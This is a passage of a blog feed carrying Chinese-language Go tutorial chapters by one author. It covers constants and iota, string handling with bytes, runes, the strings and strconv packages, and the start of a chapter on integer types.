&lt;p&gt;如果 &lt;code&gt;x&lt;/code&gt; 是有类型的常量，这样赋值就要显式转换：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const x int = 42
var b float64 = float64(x)  // 必须转换
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;无类型常量的好处是灵活，不需要反复转换类型，标准库里大量使用这个特性&lt;/p&gt;
&lt;p&gt;无类型常量有自己的默认类型，在必须确定类型的场合使用默认类型：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const x = 42      // 默认类型 int
const f = 3.14    // 默认类型 float64
const s = &quot;hello&quot; // 默认类型 string
const b = true    // 默认类型 bool
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;iota&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;iota&lt;/code&gt; 是常量声明里的一个特殊计数器，只能在 &lt;code&gt;const&lt;/code&gt; 块里用&lt;/p&gt;
&lt;p&gt;每个 &lt;code&gt;const&lt;/code&gt; 块开始时，&lt;code&gt;iota&lt;/code&gt; 从 0 开始，每声明一个常量自动加 1：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const (
    A = iota  // 0
    B = iota  // 1
    C = iota  // 2
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通常简写，后面的常量重复使用同一个表达式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const (
    A = iota  // 0
    B         // 1，自动复用上一行的表达式
    C         // 2
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;每次新建一个 &lt;code&gt;const&lt;/code&gt; 块，&lt;code&gt;iota&lt;/code&gt; 重置为 0：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const (
    A = iota  // 0
    B         // 1
)

const (
    C = iota  // 0，新的 const 块，iota 重置
    D         // 1
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;iota 的实际用法&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;用来定义枚举&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Go 没有专门的枚举类型，用 iota 模拟：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Weekday int

const (
    Sunday Weekday = iota  // 0
    Monday                  // 1
    Tuesday                 // 2
    Wednesday               // 3
    Thursday                // 4
    Friday                  // 5
    Saturday                // 6
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;type Weekday int&lt;/code&gt; 定义了一个新类型，底层是 &lt;code&gt;int&lt;/code&gt;，但类型不同，不能混用，更安全&lt;/p&gt;
&lt;p&gt;用 &lt;code&gt;_&lt;/code&gt; 跳过不需要的值：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const (
    _  = iota  // 0，跳过
    KB = 1 &amp;lt;&amp;lt; (10 * iota)  // 1 &amp;lt;&amp;lt; 10 = 1024
    MB                      // 1 &amp;lt;&amp;lt; 20 = 1048576
    GB                      // 1 &amp;lt;&amp;lt; 30 = 1073741824
    TB                      // 1 &amp;lt;&amp;lt; 40
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里用位移运算来定义文件大小单位，&lt;code&gt;1 &amp;lt;&amp;lt; 10&lt;/code&gt; 是 1024，&lt;code&gt;1 &amp;lt;&amp;lt; 20&lt;/code&gt; 是 1024²，以此类推&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;从非零值开始&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const (
    A = iota + 1  // 1
    B             // 2
    C             // 3
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;iota 用在表达式里&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;iota 可以参与任何表达式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const (
    A = iota * 2  // 0
    B             // 2
    C             // 4
    D             // 6
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;iota 的坑&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;中间插入非 iota 常量，计数不停&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const (
    A = iota  // 0
    B = 100   // 100，但 iota 此时是 1
    C = iota  // 2，iota 继续计数
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;iota 不管你中间有没有用它，这必扬的都在自己计数&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;iota 只能在 const 块里用&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var x = iota  // 报错，iota 只能在 const 里用
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;同一行的多个常量共用同一个 iota 值&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const (
    A, B = iota, iota + 1  // A=0, B=1，同一行 iota 都是 0
    C, D                    // C=1, D=2
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同一行声明多个常量，iota 值相同，不会在同一行内递增&lt;/p&gt;
&lt;h2&gt;常量在实际项目里用法示例&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;HTTP 状态码：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const (
    StatusOK       = 200
    StatusNotFound = 404
    StatusError    = 500
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;用户角色：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Role int

const (
    RoleGuest Role = iota
    RoleUser
    RoleAdmin
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;错误码：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type ErrCode int

const (
    ErrOK      ErrCode = 0
    ErrUnknown ErrCode = iota + 1000  // 从 1001 开始
    ErrTimeout
    ErrNotFound
)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;p&gt;下一篇讲类型转换，Go 不做隐式转换，所有转换必须明确写出来，&lt;code&gt;strconv&lt;/code&gt; 包怎么用，以及转换时的常见问题&lt;/p&gt;
</content:encoded><category>教程</category><category>Golang</category><author>Chongxi</author></item><item><title>Ch.05：字符串进阶篇</title><link>https://xice.cx/posts/ch05-StringInGo/</link><guid isPermaLink="true">https://xice.cx/posts/ch05-StringInGo/</guid><description>本文介绍了在Golang中字符串进阶内容</description><pubDate>Sun, 03 May 2026 17:39:11 GMT</pubDate><content:encoded>&lt;p&gt;上一篇提到字符串，有几个细节刻意留到这篇来讲：&lt;code&gt;len()&lt;/code&gt; 为什么返回字节数、中文字符怎么处理、byte 和 rune 到底是什么关系。这些问题如果没搞清楚，日后处理中文字符串一定会踩坑&lt;/p&gt;
&lt;h2&gt;字符串的本质&lt;/h2&gt;
&lt;p&gt;Go 的字符串本质上是一段只读的字节序列，底层是这样的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;name := &quot;Hello&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;内存里存的不是字符，是字节。&quot;Hello&quot; 对应的字节是 &lt;code&gt;72 101 108 108 111&lt;/code&gt;，每个字母占一个字节&lt;/p&gt;
&lt;p&gt;这在只处理英文时没有任何问题，但中文字符不是一个字节能表示的&lt;/p&gt;
&lt;h2&gt;UTF-8 编码&lt;/h2&gt;
&lt;p&gt;Go 源代码默认使用 UTF-8 编码，字符串也是 UTF-8 编码的字节序列&lt;/p&gt;
&lt;p&gt;UTF-8 是一种变长编码：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ASCII 字符（英文字母、数字、标点）占 &lt;strong&gt;1 个字节&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;大多数中文字符占 &lt;strong&gt;3 个字节&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;某些生僻字和 emoji 占 &lt;strong&gt;4 个字节&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;所以：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a := &quot;Hello&quot;
b := &quot;你好&quot;

fmt.Println(len(a))  // 5，5 个字节
fmt.Println(len(b))  // 6，2 个中文字符 × 3 字节
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;len()&lt;/code&gt; 返回的是字节数，不是你直觉上的字符数。这是处理中文最容易踩的第一个坑&lt;/p&gt;
&lt;h2&gt;byte：字节&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;byte&lt;/code&gt; 是 &lt;code&gt;uint8&lt;/code&gt; 的别名，表示一个字节，取值范围 0-255。&lt;/p&gt;
&lt;p&gt;字符串可以按字节来访问，用下标：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;Hello&quot;
fmt.Println(s[0])  // 输出 72，是 &apos;H&apos; 的 ASCII 码，不是字符 &apos;H&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意下标访问返回的是数字，不是字符。要打印字符需要转换：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fmt.Printf(&quot;%c\n&quot;, s[0])  // 输出 H
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以把字符串转成 &lt;code&gt;[]byte&lt;/code&gt;（字节切片）来操作每个字节：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;Hello&quot;
bs := []byte(s)
bs[0] = &apos;h&apos;           // 修改第一个字节
fmt.Println(string(bs))  // 输出 hello
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;字符串本身不可修改，但转成 &lt;code&gt;[]byte&lt;/code&gt; 之后可以修改，改完再转回字符串&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;[]byte&lt;/code&gt; 和字符串互转：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;Hello&quot;
bs := []byte(s)      // string → []byte
s2 := string(bs)     // []byte → string
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;rune：字符&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;rune&lt;/code&gt; 是 &lt;code&gt;int32&lt;/code&gt; 的别名，表示一个 Unicode 字符。每个 &lt;code&gt;rune&lt;/code&gt; 对应一个字符，不管这个字符底层占几个字节&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;你好&quot;
rs := []rune(s)

fmt.Println(len(s))   // 6，字节数
fmt.Println(len(rs))  // 2，字符数
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;把字符串转成 &lt;code&gt;[]rune&lt;/code&gt;，再用 &lt;code&gt;len()&lt;/code&gt;，得到的才是你直觉上的字符数&lt;/p&gt;
&lt;p&gt;按字符遍历字符串，用 &lt;code&gt;[]rune&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;你好Go&quot;
rs := []rune(s)

fmt.Println(len(rs))    // 4，四个字符：你、好、G、o
fmt.Println(rs[0])      // 20320，&apos;你&apos; 的 Unicode 码
fmt.Printf(&quot;%c\n&quot;, rs[0])  // 你
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;[]rune&lt;/code&gt; 和字符串互转：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;你好&quot;
rs := []rune(s)       // string → []rune
s2 := string(rs)      // []rune → string
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;range 遍历字符串&lt;/h2&gt;
&lt;p&gt;遍历字符串有两种方式，结果完全不同。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;按字节遍历（下标）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;你好&quot;
for i := 0; i &amp;lt; len(s); i++ {
    fmt.Printf(&quot;索引 %d: %d\n&quot;, i, s[i])
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出六行，每行是一个字节的数值，中文字符被拆散了&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;按字符遍历（range）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;你好Go&quot;
for i, r := range s {
    fmt.Printf(&quot;索引 %d: %c\n&quot;, i, r)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;索引 0: 你
索引 3: 好
索引 6: G
索引 7: o
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;range&lt;/code&gt; 遍历字符串时，自动按 UTF-8 解码，每次返回一个 &lt;code&gt;rune&lt;/code&gt;。注意索引不是连续的：&lt;code&gt;你&lt;/code&gt; 的索引是 0，&lt;code&gt;好&lt;/code&gt; 的索引是 3，因为每个中文字符占 3 个字节&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;处理中文字符串，遍历用 &lt;code&gt;range&lt;/code&gt;，计算字符数转成 &lt;code&gt;[]rune&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;字符串操作&lt;/h2&gt;
&lt;p&gt;Go 的字符串操作主要靠标准库的 &lt;code&gt;strings&lt;/code&gt; 包，以下是最常用的。&lt;/p&gt;
&lt;p&gt;使用前先引入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import &quot;strings&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;判断包含：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;Hello, Go!&quot;
fmt.Println(strings.Contains(s, &quot;Go&quot;))     // true
fmt.Println(strings.Contains(s, &quot;Python&quot;)) // false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;判断前缀和后缀：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;Hello, Go!&quot;
fmt.Println(strings.HasPrefix(s, &quot;Hello&quot;))  // true
fmt.Println(strings.HasSuffix(s, &quot;Go!&quot;))    // true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;查找位置：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;Hello, Go!&quot;
fmt.Println(strings.Index(s, &quot;Go&quot;))   // 7，返回第一次出现的字节位置
fmt.Println(strings.Index(s, &quot;Java&quot;)) // -1，找不到返回 -1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;替换：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;Hello, Go! Go is great!&quot;
// 替换所有
fmt.Println(strings.ReplaceAll(s, &quot;Go&quot;, &quot;Rust&quot;))
// Hello, Rust! Rust is great!

// 替换前 n 个，n=-1 表示全部
fmt.Println(strings.Replace(s, &quot;Go&quot;, &quot;Rust&quot;, 1))
// Hello, Rust! Go is great!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;大小写：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;Hello, Go!&quot;
fmt.Println(strings.ToUpper(s))  // HELLO, GO!
fmt.Println(strings.ToLower(s))  // hello, go!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;去除空白：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;  Hello, Go!  &quot;
fmt.Println(strings.TrimSpace(s))    // &quot;Hello, Go!&quot;
fmt.Println(strings.Trim(s, &quot; &quot;))    // 同上，去除两端指定字符
fmt.Println(strings.TrimLeft(s, &quot; &quot;))  // 只去左边
fmt.Println(strings.TrimRight(s, &quot; &quot;)) // 只去右边
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;分割：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;a,b,c,d&quot;
parts := strings.Split(s, &quot;,&quot;)
fmt.Println(parts)       // [a b c d]
fmt.Println(parts[0])    // a
fmt.Println(len(parts))  // 4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;拼接：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;parts := []string{&quot;a&quot;, &quot;b&quot;, &quot;c&quot;}
fmt.Println(strings.Join(parts, &quot;-&quot;))  // a-b-c
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;统计出现次数：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;go go go&quot;
fmt.Println(strings.Count(s, &quot;go&quot;))  // 3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;重复：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fmt.Println(strings.Repeat(&quot;go&quot;, 3))  // gogogo
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;高效拼接：strings.Builder&lt;/h2&gt;
&lt;p&gt;用 &lt;code&gt;+&lt;/code&gt; 拼接字符串，每次都会创建一个新字符串，大量拼接时性能很差：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 这太闹腾了，不推荐大量使用
result := &quot;&quot;
for i := 0; i &amp;lt; 10000; i++ {
    result += &quot;a&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;应该用 &lt;code&gt;strings.Builder&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var builder strings.Builder
for i := 0; i &amp;lt; 10000; i++ {
    builder.WriteString(&quot;a&quot;)
}
result := builder.String()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;strings.Builder&lt;/code&gt; 内部维护一个缓冲区，避免反复创建新字符串，性能好很多&lt;/p&gt;
&lt;h2&gt;字符串格式化&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;fmt&lt;/code&gt; 包提供了格式化字符串的功能，用 &lt;code&gt;fmt.Sprintf&lt;/code&gt; 生成字符串：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;name := &quot;Chongxi&quot;
age := 23
s := fmt.Sprintf(&quot;我叫%s，今年%d岁&quot;, name, age)
fmt.Println(s)  // 我叫Chongxi，今年23岁
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;常用格式化动词：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;动词&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%s&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;字符串&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%d&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;整数（十进制）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%f&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;浮点数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%.2f&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;浮点数，保留两位小数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%b&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;整数（二进制）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%x&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;整数（十六进制）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%c&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;字符（rune）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%T&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;变量的类型&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%v&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;任意类型的默认格式&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%+v&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;结构体时打印字段名&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;pi := 3.14159
fmt.Printf(&quot;%.2f\n&quot;, pi)   // 3.14
fmt.Printf(&quot;%T\n&quot;, pi)     // float64
fmt.Printf(&quot;%d\n&quot;, 255)    // 255
fmt.Printf(&quot;%x\n&quot;, 255)    // ff
fmt.Printf(&quot;%b\n&quot;, 255)    // 11111111
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;fmt.Sprintf&lt;/code&gt; 返回格式化后的字符串，&lt;code&gt;fmt.Printf&lt;/code&gt; 直接打印，&lt;code&gt;fmt.Fprintf&lt;/code&gt; 输出到指定地方（比如文件），三者格式化规则相同。&lt;/p&gt;
&lt;h2&gt;strconv：数字和字符串互转&lt;/h2&gt;
&lt;p&gt;字符串和数字之间不能直接用类型转换，要用 &lt;code&gt;strconv&lt;/code&gt; 包：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import &quot;strconv&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;整数转字符串：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;n := 42
s := strconv.Itoa(n)  // Itoa = Integer to ASCII
fmt.Println(s)         // &quot;42&quot;
fmt.Printf(&quot;%T\n&quot;, s) // string
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;字符串转整数：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;42&quot;
n, err := strconv.Atoi(s)  // Atoi = ASCII to Integer
if err != nil {
    fmt.Println(&quot;转换失败:&quot;, err)
} else {
    fmt.Println(n)  // 42
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;strconv.Atoi&lt;/code&gt; 返回两个值：转换结果和错误。字符串不一定能转成整数，比如 &lt;code&gt;&quot;hello&quot;&lt;/code&gt; 就转不了，所以必须处理错误。错误处理是 Go 的核心概念，后面会专门讲&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;字符串转浮点数：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;3.14&quot;
f, err := strconv.ParseFloat(s, 64)  // 64 表示 float64
if err != nil {
    fmt.Println(&quot;转换失败:&quot;, err)
} else {
    fmt.Println(f)  // 3.14
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;浮点数转字符串：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;f := 3.14159
s := strconv.FormatFloat(f, &apos;f&apos;, 2, 64)  // &apos;f&apos; 格式，2位小数，float64
fmt.Println(s)  // &quot;3.14&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;我踩过的常见坑&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;用 len() 计算中文字符数&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;你好&quot;
fmt.Println(len(s))        // 6，字节数，不是字符数
fmt.Println(len([]rune(s))) // 2，字符数，正确
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;下标访问中文字符&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;你好&quot;
fmt.Println(s[0])          // 228，是第一个字节，不是&apos;你&apos;
fmt.Println([]rune(s)[0])  // 20320，&apos;你&apos; 的 Unicode 码
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;截取中文字符串用下标&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;你好世界&quot;
fmt.Println(s[:3])          // 乱码，截取了3个字节，破坏了中文编码
fmt.Println(string([]rune(s)[:2]))  // &quot;你好&quot;，正确
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;以为字符串可以修改&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;Hello&quot;
s[0] = &apos;h&apos;  // 报错，字符串不可修改
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;要修改，先转成 &lt;code&gt;[]byte&lt;/code&gt; 或 &lt;code&gt;[]rune&lt;/code&gt;，改完再转回来&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;下一篇讲常量与 iota，Go 里枚举是怎么定义的。&lt;/p&gt;
</content:encoded><category>教程</category><category>Golang</category><author>Chongxi</author></item><item><title>Ch.04：Go的基本数据类型</title><link>https://xice.cx/posts/ch04-dtyInGo/</link><guid isPermaLink="true">https://xice.cx/posts/ch04-dtyInGo/</guid><description>本文介绍了在Golang中的基本数据类型</description><pubDate>Sun, 03 May 2026 17:12:33 GMT</pubDate><content:encoded>&lt;p&gt;上一篇讲了变量，知道了怎么存数据。但存什么类型的数据，Go 有严格的规定&lt;/p&gt;
&lt;h2&gt;类型是什么&lt;/h2&gt;
&lt;p&gt;类型决定了两件事：这块内存能存什么样的数据，以及占多少空间&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;age := 20
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Go 看到 &lt;code&gt;20&lt;/code&gt;，判断它是整数，分配一块能存整数的内存。如果你之后想往里存字符串，Go 直接报错，因为类型不匹配&lt;/p&gt;
&lt;p&gt;这就是静态类型语言：每个变量的类型在编译阶段就确定了，不能在运行时随意改变&lt;/p&gt;
&lt;h2&gt;整数&lt;/h2&gt;
&lt;p&gt;Go 的整数类型分两类：有符号和无符号&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;有符号整数&lt;/strong&gt;（可以存负数）：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;占用空间&lt;/th&gt;
&lt;th&gt;范围&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;int8&lt;/td&gt;
&lt;td&gt;1字节&lt;/td&gt;
&lt;td&gt;-128 到 127&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;int16&lt;/td&gt;
&lt;td&gt;2字节&lt;/td&gt;
&lt;td&gt;-32768 到 32767&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;int32&lt;/td&gt;
&lt;td&gt;4字节&lt;/td&gt;
&lt;td&gt;-21亿 到 21亿&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;int64&lt;/td&gt;
&lt;td&gt;8字节&lt;/td&gt;
&lt;td&gt;极大&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;int&lt;/td&gt;
&lt;td&gt;平台相关&lt;/td&gt;
&lt;td&gt;32位系统是int32，64位是int64&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;无符号整数&lt;/strong&gt;（只能存正数和零）：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;占用空间&lt;/th&gt;
&lt;th&gt;范围&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;uint8&lt;/td&gt;
&lt;td&gt;1字节&lt;/td&gt;
&lt;td&gt;0 到 255&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;uint16&lt;/td&gt;
&lt;td&gt;2字节&lt;/td&gt;
&lt;td&gt;0 到 65535&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;uint32&lt;/td&gt;
&lt;td&gt;4字节&lt;/td&gt;
&lt;td&gt;0 到 42亿&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;uint64&lt;/td&gt;
&lt;td&gt;8字节&lt;/td&gt;
&lt;td&gt;极大&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;uint&lt;/td&gt;
&lt;td&gt;平台相关&lt;/td&gt;
&lt;td&gt;同 int&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;绝大多数情况直接用 &lt;code&gt;int&lt;/code&gt;，不用纠结有的没的。只有在特定场景才考虑具体的类型，比如处理文件字节用 &lt;code&gt;uint8&lt;/code&gt;，和 C 语言交互用 &lt;code&gt;int32&lt;/code&gt;，需要超大数字用 &lt;code&gt;int64&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;age := 20            // int，自动推断
var count int64 = 1000000000000  // 明确指定 int64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;整数溢出&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;每种类型有范围上限，超过了会溢出，不报错但结果是错的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var n int8 = 127
n = n + 1
fmt.Println(n)  // 输出 -128，溢出了
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;int8&lt;/code&gt; 最大是 127，加 1 之后超出范围，绕回到 -128。Go 不会自动检测溢出，这是你自己要注意的&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;数字字面量的写法&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;除了十进制，Go 还支持其他进制和下划线分隔：&lt;/p&gt;
